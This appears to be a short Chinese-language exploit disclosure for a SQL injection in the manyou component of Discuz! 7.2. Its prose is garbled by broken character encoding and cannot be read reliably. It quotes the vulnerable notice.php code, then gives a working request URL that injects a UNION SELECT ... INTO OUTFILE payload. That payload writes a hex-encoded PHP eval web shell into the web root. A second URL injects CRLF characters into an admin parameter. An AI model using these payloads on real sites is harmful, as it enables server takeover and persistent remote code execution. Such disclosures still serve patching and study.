discuz! 7.2 manyou·&Get Webshell 0day


µdiscuz! 7.2ԴһµӦómanyouǡǡ²УûжԴĲм飬GPCΪoff£ע©Ĳ
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ļ./manyou/sources/notice.php
ش룺
if($option == 'del') {
$appid = intval($_GET['appid']);
$db->query("DELETE FROM {$tablepre}myinvite WHERE appid='$appid' AND touid='$discuz_uid'");
showmessage('manyou:done', 'userapp.php?script=notice&action=invite');
} elseif($option == 'deluserapp') {
$hash = trim($_GET['hash']); //˴ûнйˣֱӵעĲ
if($action == 'invite') { 
$query = $db->query("SELECT * FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");
if($value = $db->fetch_array($query)) {
$db->query("DELETE FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");
showmessage('manyou:done', 'userapp.php?script=notice&action=invite');
} else {
showmessage('manyou:noperm');
}
} else {
$db->query("DELETE FROM {$tablepre}mynotice WHERE id='$hash' AND uid='$discuz_uid'");
showmessage('manyou:done', 'userapp.php?script=notice');
}
}
ܼ򵥵һ©ûвѯصֻвȡäעķʽǰݿʺFile_privĻҲֱinto outfile
/userapp.php?script=notice&view=all&option=deluserapp&action=invite&hash=' union select NULL,NULL,NULL,NULL,0x3C3F70687020406576616C28245F504F53545B274F275D293B3F3E,NULL,NULL,NULL,NULL into outfile 'C:/inetpub/wwwroot/shell.php'%23

/manyou/admincp.php?my_suffix=%0A%0DTOBY57 ·


